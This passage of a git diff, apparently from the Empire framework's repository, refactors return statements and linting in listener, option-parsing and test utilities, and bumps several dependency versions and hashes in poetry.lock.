+++ b/empire/server/utils/listener_util.py @@ -87,9 +87,7 @@ def generate_cookie(): """ chars = string.ascii_letters - cookie = helpers.random_string(random.randint(6, 16), charset=chars) - - return cookie + return helpers.random_string(random.randint(6, 16), charset=chars) def generate_random_cipher(): @@ -107,6 +105,4 @@ def generate_random_cipher(): tls12 = random.choice(random_tls12) tls10 = "ECDHE-RSA-AES256-SHA" - cipher = f"{tls12}:{tls10}" - - return cipher + return f"{tls12}:{tls10}" diff --git a/empire/server/utils/math_util.py b/empire/server/utils/math_util.py index 549fb350d..62d66c8b7 100644 --- a/empire/server/utils/math_util.py +++ b/empire/server/utils/math_util.py @@ -8,5 +8,4 @@ def old_div(a, b): """ if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): return a // b - else: - return a / b + return a / b diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index c1d3b7f0f..35408fa1c 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -137,16 +137,15 @@ def _parse_type(type_str: str = "", value: str = ""): # noqa: PLR0911 if type_str.lower() in ["int", "integer"]: return int - elif type_str.lower() in ["bool", "boolean"]: + if type_str.lower() in ["bool", "boolean"]: return bool - elif type_str.lower() in ["str", "string"]: + if type_str.lower() in ["str", "string"]: return str - elif type_str.lower() == "float": + if type_str.lower() == "float": return float - elif type_str.lower() == "file": + if type_str.lower() == "file": return "file" - else: - return None + return None def _safe_cast_option( @@ -167,5 +166,4 @@ def _safe_cast_option( None, f"incorrect type for option {param_name}. Expected {expected_option_type} but got {option_type}", ) - else: - return casted, None + return casted, None diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 8033e17a5..5b034935c 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -580,5 +580,4 @@ def patch_config(empire_config): def load_test_config(): with open(SERVER_CONFIG_LOC) as f: - loaded = yaml.safe_load(f) - return loaded + return yaml.safe_load(f) diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index da94283bd..ae1f41f71 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -38,8 +38,7 @@ def comp_data(self, data, cvalue=COMP_RATIO): data = string wanting compression cvalue = 0-9 comp value (default 6) """ - cdata = zlib.compress(data, cvalue) - return cdata + return zlib.compress(data, cvalue) def crc32_data(self, data): """ @@ -48,8 +47,7 @@ def crc32_data(self, data): returns: HEX bytes of data """ - crc = zlib.crc32(data) & 0xFFFFFFFF - return crc + return zlib.crc32(data) & 0xFFFFFFFF def build_header(self, data, crc): """ @@ -59,8 +57,7 @@ def build_header(self, data, crc): crc = crc32 value """ header = struct.pack("!I", crc) - built_data = header + data - return built_data + return header + data @pytest.fixture(scope="function", autouse=True) diff --git a/empire/test/test_logs.py b/empire/test/test_logs.py index ab30c5b2b..dd6cd40ef 100644 --- a/empire/test/test_logs.py +++ b/empire/test/test_logs.py @@ -22,7 +22,10 @@ def test_simple_log_format(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert isinstance(stream_handler.formatter, ColorFormatter) @@ -50,7 +53,10 @@ def test_extended_log_format(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert isinstance(stream_handler.formatter, ColorFormatter) @@ -77,7 +83,10 @@ def test_log_level_by_config(monkeypatch): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert stream_handler.level == logging.WARNING @@ -107,7 +116,10 @@ def test_log_level_by_arg(): setup_logging(args) stream_handler = next( - filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) + filter( + lambda h: type(h) == logging.StreamHandler, # noqa: E721 + logging.getLogger().handlers, + ) ) assert stream_handler.level == logging.ERROR diff --git a/poetry.lock b/poetry.lock index 97b993bba..b4f3e5b19 100644 --- a/poetry.lock +++ b/poetry.lock @@ -348,13 +348,13 @@ cffi = ">=1.0.0" [[package]] name = "certifi" -version = "2024.6.2" +version = "2024.7.4" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.6.2-py3-none-any.whl", hash = "sha256:ddc6c8ce995e6987e7faf5e3f1b02b302836a0e5d98ece18392cb1a36c72ad56"}, - {file = "certifi-2024.6.2.tar.gz", hash = "sha256:3cd43f1c6fa7dedc5899d69d3ad0398fd018ad1a17fba83ddaf78aa46c747516"}, + {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, + {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, ] [[package]] @@ -558,63 +558,63 @@ files = [ [[package]] name = "coverage" -version = "7.5.4" +version = "7.6.0" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.8" files = [ - {file = "coverage-7.5.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6cfb5a4f556bb51aba274588200a46e4dd6b505fb1a5f8c5ae408222eb416f99"}, - {file = "coverage-7.5.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2174e7c23e0a454ffe12267a10732c273243b4f2d50d07544a91198f05c48f47"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2214ee920787d85db1b6a0bd9da5f8503ccc8fcd5814d90796c2f2493a2f4d2e"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1137f46adb28e3813dec8c01fefadcb8c614f33576f672962e323b5128d9a68d"}, - {file = "coverage-7.5.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b385d49609f8e9efc885790a5a0e89f2e3ae042cdf12958b6034cc442de428d3"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b4a474f799456e0eb46d78ab07303286a84a3140e9700b9e154cfebc8f527016"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5cd64adedf3be66f8ccee418473c2916492d53cbafbfcff851cbec5a8454b136"}, - {file = "coverage-7.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e564c2cf45d2f44a9da56f4e3a26b2236504a496eb4cb0ca7221cd4cc7a9aca9"}, - {file = "coverage-7.5.4-cp310-cp310-win32.whl", hash = "sha256:7076b4b3a5f6d2b5d7f1185fde25b1e54eb66e647a1dfef0e2c2bfaf9b4c88c8"}, - {file = "coverage-7.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:018a12985185038a5b2bcafab04ab833a9a0f2c59995b3cec07e10074c78635f"}, - {file = "coverage-7.5.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:db14f552ac38f10758ad14dd7b983dbab424e731588d300c7db25b6f89e335b5"}, - {file = "coverage-7.5.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3257fdd8e574805f27bb5342b77bc65578e98cbc004a92232106344053f319ba"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a6612c99081d8d6134005b1354191e103ec9705d7ba2754e848211ac8cacc6b"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d45d3cbd94159c468b9b8c5a556e3f6b81a8d1af2a92b77320e887c3e7a5d080"}, - {file = "coverage-7.5.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed550e7442f278af76d9d65af48069f1fb84c9f745ae249c1a183c1e9d1b025c"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7a892be37ca35eb5019ec85402c3371b0f7cda5ab5056023a7f13da0961e60da"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8192794d120167e2a64721d88dbd688584675e86e15d0569599257566dec9bf0"}, - {file = "coverage-7.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:820bc841faa502e727a48311948e0461132a9c8baa42f6b2b84a29ced24cc078"}, - {file = "coverage-7.5.4-cp311-cp311-win32.whl", hash = "sha256:6aae5cce399a0f065da65c7bb1e8abd5c7a3043da9dceb429ebe1b289bc07806"}, - {file = "coverage-7.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:d2e344d6adc8ef81c5a233d3a57b3c7d5181f40e79e05e1c143da143ccb6377d"}, - {file = "coverage-7.5.4-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:54317c2b806354cbb2dc7ac27e2b93f97096912cc16b18289c5d4e44fc663233"}, - {file = "coverage-7.5.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:042183de01f8b6d531e10c197f7f0315a61e8d805ab29c5f7b51a01d62782747"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6bb74ed465d5fb204b2ec41d79bcd28afccf817de721e8a807d5141c3426638"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b3d45ff86efb129c599a3b287ae2e44c1e281ae0f9a9bad0edc202179bcc3a2e"}, - {file = "coverage-7.5.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5013ed890dc917cef2c9f765c4c6a8ae9df983cd60dbb635df8ed9f4ebc9f555"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1014fbf665fef86cdfd6cb5b7371496ce35e4d2a00cda501cf9f5b9e6fced69f"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:3684bc2ff328f935981847082ba4fdc950d58906a40eafa93510d1b54c08a66c"}, - {file = "coverage-7.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:581ea96f92bf71a5ec0974001f900db495488434a6928a2ca7f01eee20c23805"}, - {file = "coverage-7.5.4-cp312-cp312-win32.whl", hash = "sha256:73ca8fbc5bc622e54627314c1a6f1dfdd8db69788f3443e752c215f29fa87a0b"}, - {file = "coverage-7.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:cef4649ec906ea7ea5e9e796e68b987f83fa9a718514fe147f538cfeda76d7a7"}, - {file = "coverage-7.5.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdd31315fc20868c194130de9ee6bfd99755cc9565edff98ecc12585b90be882"}, - {file = "coverage-7.5.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:02ff6e898197cc1e9fa375581382b72498eb2e6d5fc0b53f03e496cfee3fac6d"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d05c16cf4b4c2fc880cb12ba4c9b526e9e5d5bb1d81313d4d732a5b9fe2b9d53"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c5986ee7ea0795a4095ac4d113cbb3448601efca7f158ec7f7087a6c705304e4"}, - {file = "coverage-7.5.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5df54843b88901fdc2f598ac06737f03d71168fd1175728054c8f5a2739ac3e4"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:ab73b35e8d109bffbda9a3e91c64e29fe26e03e49addf5b43d85fc426dde11f9"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:aea072a941b033813f5e4814541fc265a5c12ed9720daef11ca516aeacd3bd7f"}, - {file = "coverage-7.5.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:16852febd96acd953b0d55fc842ce2dac1710f26729b31c80b940b9afcd9896f"}, - {file = "coverage-7.5.4-cp38-cp38-win32.whl", hash = "sha256:8f894208794b164e6bd4bba61fc98bf6b06be4d390cf2daacfa6eca0a6d2bb4f"}, - {file = "coverage-7.5.4-cp38-cp38-win_amd64.whl", hash = "sha256:e2afe743289273209c992075a5a4913e8d007d569a406ffed0bd080ea02b0633"}, - {file = "coverage-7.5.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b95c3a8cb0463ba9f77383d0fa8c9194cf91f64445a63fc26fb2327e1e1eb088"}, - {file = "coverage-7.5.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3d7564cc09dd91b5a6001754a5b3c6ecc4aba6323baf33a12bd751036c998be4"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44da56a2589b684813f86d07597fdf8a9c6ce77f58976727329272f5a01f99f7"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e16f3d6b491c48c5ae726308e6ab1e18ee830b4cdd6913f2d7f77354b33f91c8"}, - {file = "coverage-7.5.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbc5958cb471e5a5af41b0ddaea96a37e74ed289535e8deca404811f6cb0bc3d"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a04e990a2a41740b02d6182b498ee9796cf60eefe40cf859b016650147908029"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:ddbd2f9713a79e8e7242d7c51f1929611e991d855f414ca9996c20e44a895f7c"}, - {file = "coverage-7.5.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1ccf5e728ccf83acd313c89f07c22d70d6c375a9c6f339233dcf792094bcbf7"}, - {file = "coverage-7.5.4-cp39-cp39-win32.whl", hash = "sha256:56b4eafa21c6c175b3ede004ca12c653a88b6f922494b023aeb1e836df953ace"}, - {file = "coverage-7.5.4-cp39-cp39-win_amd64.whl", hash = "sha256:65e528e2e921ba8fd67d9055e6b9f9e34b21ebd6768ae1c1723f4ea6ace1234d"}, - {file = "coverage-7.5.4-pp38.pp39.pp310-none-any.whl", hash = "sha256:79b356f3dd5b26f3ad23b35c75dbdaf1f9e2450b6bcefc6d0825ea0aa3f86ca5"}, - {file = "coverage-7.5.4.tar.gz", hash = "sha256:a44963520b069e12789d0faea4e9fdb1e410cdc4aab89d94f7f55cbb7fef0353"}, + {file = "coverage-7.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dff044f661f59dace805eedb4a7404c573b6ff0cdba4a524141bc63d7be5c7fd"}, + {file = "coverage-7.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a8659fd33ee9e6ca03950cfdcdf271d645cf681609153f218826dd9805ab585c"}, + {file = "coverage-7.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7792f0ab20df8071d669d929c75c97fecfa6bcab82c10ee4adb91c7a54055463"}, + {file = "coverage-7.6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d4b3cd1ca7cd73d229487fa5caca9e4bc1f0bca96526b922d61053ea751fe791"}, + {file = "coverage-7.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7e128f85c0b419907d1f38e616c4f1e9f1d1b37a7949f44df9a73d5da5cd53c"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a94925102c89247530ae1dab7dc02c690942566f22e189cbd53579b0693c0783"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dcd070b5b585b50e6617e8972f3fbbee786afca71b1936ac06257f7e178f00f6"}, + {file = "coverage-7.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d50a252b23b9b4dfeefc1f663c568a221092cbaded20a05a11665d0dbec9b8fb"}, + {file = "coverage-7.6.0-cp310-cp310-win32.whl", hash = "sha256:0e7b27d04131c46e6894f23a4ae186a6a2207209a05df5b6ad4caee6d54a222c"}, + {file = "coverage-7.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:54dece71673b3187c86226c3ca793c5f891f9fc3d8aa183f2e3653da18566169"}, + {file = "coverage-7.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c7b525ab52ce18c57ae232ba6f7010297a87ced82a2383b1afd238849c1ff933"}, + {file = "coverage-7.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bea27c4269234e06f621f3fac3925f56ff34bc14521484b8f66a580aacc2e7d"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed8d1d1821ba5fc88d4a4f45387b65de52382fa3ef1f0115a4f7a20cdfab0e94"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01c322ef2bbe15057bc4bf132b525b7e3f7206f071799eb8aa6ad1940bcf5fb1"}, + {file = "coverage-7.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03cafe82c1b32b770a29fd6de923625ccac3185a54a5e66606da26d105f37dac"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0d1b923fc4a40c5832be4f35a5dab0e5ff89cddf83bb4174499e02ea089daf57"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4b03741e70fb811d1a9a1d75355cf391f274ed85847f4b78e35459899f57af4d"}, + {file = "coverage-7.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a73d18625f6a8a1cbb11eadc1d03929f9510f4131879288e3f7922097a429f63"}, + {file = "coverage-7.6.0-cp311-cp311-win32.whl", hash = "sha256:65fa405b837060db569a61ec368b74688f429b32fa47a8929a7a2f9b47183713"}, + {file = "coverage-7.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:6379688fb4cfa921ae349c76eb1a9ab26b65f32b03d46bb0eed841fd4cb6afb1"}, + {file = "coverage-7.6.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f7db0b6ae1f96ae41afe626095149ecd1b212b424626175a6633c2999eaad45b"}, + {file = "coverage-7.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bbdf9a72403110a3bdae77948b8011f644571311c2fb35ee15f0f10a8fc082e8"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cc44bf0315268e253bf563f3560e6c004efe38f76db03a1558274a6e04bf5d5"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:da8549d17489cd52f85a9829d0e1d91059359b3c54a26f28bec2c5d369524807"}, + {file = "coverage-7.6.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0086cd4fc71b7d485ac93ca4239c8f75732c2ae3ba83f6be1c9be59d9e2c6382"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1fad32ee9b27350687035cb5fdf9145bc9cf0a094a9577d43e909948ebcfa27b"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:044a0985a4f25b335882b0966625270a8d9db3d3409ddc49a4eb00b0ef5e8cee"}, + {file = "coverage-7.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:76d5f82213aa78098b9b964ea89de4617e70e0d43e97900c2778a50856dac605"}, + {file = "coverage-7.6.0-cp312-cp312-win32.whl", hash = "sha256:3c59105f8d58ce500f348c5b56163a4113a440dad6daa2294b5052a10db866da"}, + {file = "coverage-7.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:ca5d79cfdae420a1d52bf177de4bc2289c321d6c961ae321503b2ca59c17ae67"}, + {file = "coverage-7.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d39bd10f0ae453554798b125d2f39884290c480f56e8a02ba7a6ed552005243b"}, + {file = "coverage-7.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:beb08e8508e53a568811016e59f3234d29c2583f6b6e28572f0954a6b4f7e03d"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2e16f4cd2bc4d88ba30ca2d3bbf2f21f00f382cf4e1ce3b1ddc96c634bc48ca"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6616d1c9bf1e3faea78711ee42a8b972367d82ceae233ec0ac61cc7fec09fa6b"}, + {file = "coverage-7.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad4567d6c334c46046d1c4c20024de2a1c3abc626817ae21ae3da600f5779b44"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d17c6a415d68cfe1091d3296ba5749d3d8696e42c37fca5d4860c5bf7b729f03"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9146579352d7b5f6412735d0f203bbd8d00113a680b66565e205bc605ef81bc6"}, + {file = "coverage-7.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:cdab02a0a941af190df8782aafc591ef3ad08824f97850b015c8c6a8b3877b0b"}, + {file = "coverage-7.6.0-cp38-cp38-win32.whl", hash = "sha256:df423f351b162a702c053d5dddc0fc0ef9a9e27ea3f449781ace5f906b664428"}, + {file = "coverage-7.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:f2501d60d7497fd55e391f423f965bbe9e650e9ffc3c627d5f0ac516026000b8"}, + {file = "coverage-7.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7221f9ac9dad9492cecab6f676b3eaf9185141539d5c9689d13fd6b0d7de840c"}, + {file = "coverage-7.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ddaaa91bfc4477d2871442bbf30a125e8fe6b05da8a0015507bfbf4718228ab2"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cbe651f3904e28f3a55d6f371203049034b4ddbce65a54527a3f189ca3b390"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:831b476d79408ab6ccfadaaf199906c833f02fdb32c9ab907b1d4aa0713cfa3b"}, + {file = "coverage-7.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46c3d091059ad0b9c59d1034de74a7f36dcfa7f6d3bde782c49deb42438f2450"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4d5fae0a22dc86259dee66f2cc6c1d3e490c4a1214d7daa2a93d07491c5c04b6"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:07ed352205574aad067482e53dd606926afebcb5590653121063fbf4e2175166"}, + {file = "coverage-7.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:49c76cdfa13015c4560702574bad67f0e15ca5a2872c6a125f6327ead2b731dd"}, + {file = "coverage-7.6.0-cp39-cp39-win32.whl", hash = "sha256:482855914928c8175735a2a59c8dc5806cf7d8f032e4820d52e845d1f731dca2"}, + {file = "coverage-7.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:543ef9179bc55edfd895154a51792b01c017c87af0ebaae092720152e19e42ca"}, + {file = "coverage-7.6.0-pp38.pp39.pp310-none-any.whl", hash = "sha256:6fe885135c8a479d3e37a7aae61cbd3a0fb2deccb4dda3c25f92a49189f766d6"}, + {file = "coverage-7.6.0.tar.gz", hash = "sha256:289cc803fa1dc901f84701ac10c9ee873619320f2f9aff38794db4a4a0268d51"}, ] [package.dependencies] @@ -754,13 +754,13 @@ gmpy2 = ["gmpy2"] [[package]] name = "exceptiongroup" -version = "1.2.1" +version = "1.2.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ - {file = "exceptiongroup-1.2.1-py3-none-any.whl", hash = "sha256:5258b9ed329c5bbdd31a309f53cbfb0b155341807f6ff7606a1e801a891b29ad"}, - {file = "exceptiongroup-1.2.1.tar.gz", hash = "sha256:a4785e48b045528f5bfe627b6ad554ff32def154f42372786903b7abcfe1aa16"}, + {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, + {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, ] [package.extras] @@ -809,53 +809,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.53.0" +version = "4.53.1" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.53.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:52a6e0a7a0bf611c19bc8ec8f7592bdae79c8296c70eb05917fd831354699b20"}, - {file = "fonttools-4.53.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:099634631b9dd271d4a835d2b2a9e042ccc94ecdf7e2dd9f7f34f7daf333358d"}, - {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e40013572bfb843d6794a3ce076c29ef4efd15937ab833f520117f8eccc84fd6"}, - {file = "fonttools-4.53.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:715b41c3e231f7334cbe79dfc698213dcb7211520ec7a3bc2ba20c8515e8a3b5"}, - {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74ae2441731a05b44d5988d3ac2cf784d3ee0a535dbed257cbfff4be8bb49eb9"}, - {file = "fonttools-4.53.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:95db0c6581a54b47c30860d013977b8a14febc206c8b5ff562f9fe32738a8aca"}, - {file = "fonttools-4.53.0-cp310-cp310-win32.whl", hash = "sha256:9cd7a6beec6495d1dffb1033d50a3f82dfece23e9eb3c20cd3c2444d27514068"}, - {file = "fonttools-4.53.0-cp310-cp310-win_amd64.whl", hash = "sha256:daaef7390e632283051e3cf3e16aff2b68b247e99aea916f64e578c0449c9c68"}, - {file = "fonttools-4.53.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a209d2e624ba492df4f3bfad5996d1f76f03069c6133c60cd04f9a9e715595ec"}, - {file = "fonttools-4.53.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4f520d9ac5b938e6494f58a25c77564beca7d0199ecf726e1bd3d56872c59749"}, - {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eceef49f457253000e6a2d0f7bd08ff4e9fe96ec4ffce2dbcb32e34d9c1b8161"}, - {file = "fonttools-4.53.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1f3e34373aa16045484b4d9d352d4c6b5f9f77ac77a178252ccbc851e8b2ee"}, - {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:28d072169fe8275fb1a0d35e3233f6df36a7e8474e56cb790a7258ad822b6fd6"}, - {file = "fonttools-4.53.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a2a6ba400d386e904fd05db81f73bee0008af37799a7586deaa4aef8cd5971e"}, - {file = "fonttools-4.53.0-cp311-cp311-win32.whl", hash = "sha256:bb7273789f69b565d88e97e9e1da602b4ee7ba733caf35a6c2affd4334d4f005"}, - {file = "fonttools-4.53.0-cp311-cp311-win_amd64.whl", hash = "sha256:9fe9096a60113e1d755e9e6bda15ef7e03391ee0554d22829aa506cdf946f796"}, - {file = "fonttools-4.53.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d8f191a17369bd53a5557a5ee4bab91d5330ca3aefcdf17fab9a497b0e7cff7a"}, - {file = 